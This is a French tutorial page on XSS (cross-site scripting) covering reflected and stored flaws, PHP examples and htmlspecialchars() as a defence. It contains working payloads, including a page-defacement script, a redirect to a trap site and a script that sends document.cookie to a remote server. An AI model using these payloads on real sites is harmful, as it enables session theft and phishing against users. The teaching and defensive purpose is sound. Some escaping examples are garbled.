Les injections HTML : XSS

Les injections HTML : XSS

  1. Objectifs

    • Connaitre les injections XSS
  2. Présentations

    • XSS est un sigle anglophone, qui signifie Cross-Site Scripting
    • XSS (plus officiellement appelée Cross-Site Scripting) est une faille permettant l’injection de code HTML ou JavaScript dans des variables mal protégées.
    • Le cross-site scripting (abrégé XSS) est un type de faille de sécurité des sites web permettant d’injecter du contenu dans une page, provoquant ainsi des actions sur les navigateurs web visitant la page.
    • XSS où "Cross-Site Scripting" est l’une des failles les plus répandues dans les sites Web dynamiques. Elle fait partie de la famille des attaques par injection.
    • Le but principal de cette attaque est de voler les données d’identité de l’autre utilisateur – des cookies, des jetons de session et d’autres informations.
    • Dans la plupart des cas, cette attaque est utilisée pour voler les cookies de l’autre personne.
    • Comme nous le savons, les cookies nous aident à nous connecter automatiquement. Par conséquent, avec les cookies volés, nous pouvons nous connecter avec les autres identités. Et c’est l’une des raisons pour lesquelles cette attaque est considérée comme l’une des attaques les plus risquées.
    • Une attaque XSS est en cours côté client. Il peut être exécuté avec différents langages de programmation côté client. Cependant, le plus souvent, cette attaque est effectuée avec Javascript et HTML.

    • Il existe deux types de XSS :
      • Le XSS réfléchi (non permanent)
      • Le XSS stocké (permanent)



  3. Le XSS réfléchi (non permanent)

    • Cette faille est appelée non permanente car elle n’est pas enregistrée dans un fichier ou dans une base de données.
    • Lorsque des données sont envoyées par un client et sont affichées telles quelles dans la page résultante sans être encodées en entités HTML.
    • Les injections HTML : XSS

  4. Le XSS stocké (permanent)

    • Lorsque des données sont fournies depuis une source de données quelconque (BDD, fichiers, etc.) et sont affichées telles quelles dans la page résultante sans être encodées en entités HTML. L’impact d’une XSS stockée est d’autant plus grave car elle touche tous les visiteurs de la page piégée.
    • Ce type de faille peut se trouver lorsque vous appelez une page PHP avec des informations passées dans L’URL.
    • Par exemple, vous appelez la page connection.php avec en paramètre nom=”Riadh” :
    • http://127.0.0.1/get_recoit.php?nom=Riadh
    • Dans la page connection.php, le code suivant :
    • <?php
      echo $_GET['nom;’];
      ?>

    • Affiche :Riadh
    • Maintenant, si l’utilisateur remplace Riadh par :<script>alert('Bonjour')</script>
    • La page connection.php ouvre une pop-up affichant “Bonjour”. En effet, le navigateur exécute le JavaScript généré par l’instruction echo $_GET['nom'];
    • Dans ce cas, le code intrusif n’est qu’une alerte, mais l’utilisateur pourrait mettre un code pour lire vos cookies, rediriger vers une autre URL…
  5. Exemples d’attaques

    1. Testes basiques
      • Javascript:<script type="text/javascript"> alert("Vulnérabilité détectée : faille XSS") ; </script>
      • CSS: <style type="text/css"> body { background-color : red ; background-image : none ; } </style>
      • HTML: <b>Si ce texte est en gras, c’est que le site est potentiellement vulnérable</b>
      • HTML + CSS:<b style="text-decoration:blink ;"> Si ce texte est en gras et clignote, c’est que le site est vulnérable </b>
      • Pour savoir si la faille est avérée, il faut vérifier si le script est interprété coté navigateur :
        • Le premier exemple affichera une fenêtre de type pop-up avec le texte suivant : "Vulnérabilité détecté : faille XSS" ;
        • le second changera la couleur du fond de la page en rouge et enlèvera (si existante) l’image de fond ;
        • le troisième affichera "Si ce texte est en gras, c’est que le site est potentiellement vulnérable" en gras. Dans ce cas, il est aussi possible que l’application supporte simplement la contribution riche. Le support des balises HTML n’est toutefois pas la solution la plus optimale ;
        • le dernier affichera "Si ce texte est en gras et clignote, c’est que le site est vulnérable" en gras et clignotant.
        1. Destruction de la page (effacement)
          • <script type="text/javascript">
            msg = "<p style='text-decoration:blink;color :#F00 ;'> Vous êtes victime d’une attaque XSS ! </p>" ;
            document.write(msg) ;
            </script>

          • Ici le contenu de la page est remplacé par la phrase : <Vous êtes victime d’une attaque XSS !< clignotant en rouge.
        2. Redirection
          • <script type="text/javascript">
              document.location = "http://www.serveur-distant.net/page-piege.php" ;
            </script>

          • Cette redirection peut amener sur un site piégé, par exemple une copie du site vulnérable. Cette attaque par phishing permettrait de voler les identifiants d’un utilisateur dupe.
          • <script type="text/javascript">
            var addr = “http://www.serveur-distant.net/page-piege.php?cookie=” + document.cookie ;
            var imgTag = document.createElement("img") ;
            imgTag.setAttribute("src",addr) ;
            document.body.appendChild(imgTag) ;
            </script>

          • Lorsque le navigateur interprète le script, il ajoute à l’arbre DOM un élément image dans le corps de la page. Le navigateur requêtera ensuite le serveur afin de récupérer cette soi-disant “image”, sauf que cette ressource n’existe pas : il s’agit d’un subterfuge pour voler l’ensemble des cookies associés au domaine courant.
          • Ce serveur distant stockera le cookie en base et l’utilisateur malveillant pourra générer le cookie dans son navigateur avant d’accéder au compte de la victime.
    2. Attaque XSS persistante
      • L’attaque XSS repose sur ces problématiques. Elle est possible lorsque’une valeur qui peut être contrôlée par l’utilisateur est injectée dans une page web sans suffisamment de contrôles, et que cette valeur peut être du code html/javascript valide, qui sera alors interprété par le navigateur.
      • Voici un exemple très simple : L’utilisateur peut uploader une image sur un site, et remplir un champ de description. S’il upload l’image chat.jpg et qu’il met en description Une image de mon chat, nous afficherons (par exemple) sur le site le code html suivant :
      • <img src="./chat.jpg" title="Une image de mon chat" />
      • Cependant, imaginons alors que l’utilisateur choisisse comme description Une image” <script>alert('hackndo');</script>Dans ce cas, nous aurons comme code html dans notre page
      • <img src="./chat.jpg" title="Une image" /><script>alert('hackndo');</script>

      • Ce code html est valide et exécute du javascript au sein du navigateur de l’utilisateur alors que ce n’était pas voulu par le développeur à l’origine.
      • Il suffit alors d’envoyer la page contenant l’image à une autre personne pour exécuter du javascript dans le navigateur de l’autre utilisateur. Comme le code injecté est enregistré par le serveur, et qu’il ne disparaît pas au rafraîchissement de la page, on appelle cela une attaque XSS persistante.
      • Lorsque le code injecté n’est pas persistant, alors c’est une attaque XSS non persistante. C’est par exemple le cas dans un formulaire de recherche, et que le contenu de la recherche est affiché à l’écran
  6. Comment s’en protéger

    • La solution la plus adaptée contre cette faille est d’utiliser la fonction htmlspecialchars() . Cette fonction permet de filtrer les symboles du type <, & ou encore ", en les remplaçant par leur équivalent en HTML. Par exemple :
      • Le symbole & devient &
      • Le symbole " devient "
      • Le symbole ‘ devient '
  7. Outils de test XSS

    • Comme l’attaque de type Cross Site Scripting est l’une des attaques à risque les plus courantes, il existe de nombreux outils pour le tester automatiquement.
    • Nous pouvons trouver différents scanners pour rechercher d’éventuelles vulnérabilités d’attaque XSS, tels que Nesus et Kiuwan. Les deux sont considérés comme assez fiables.
    • Scannez votre code gratuitement

  8. Application

    • Créer une page dont l’extension est php, qui contient un formulaire avec une zone de texte et méthode "Get"
    • Détruire la page en utilisant une injection javascript
    • Faire une redirection vers notre site web
    • Appliquez la fonction htmlspecialchars() à la variable $saisie suivante et affichez le résultat avec un echo :

Source:

  • https://blog.clever-age.com/fr/2014/02/10/owasp-xss-cross-site-scripting/
  • https://openclassrooms.com/fr/courses/2091901-protegez-vous-efficacement-contre-les-failles-web/2680167-la-faille-xss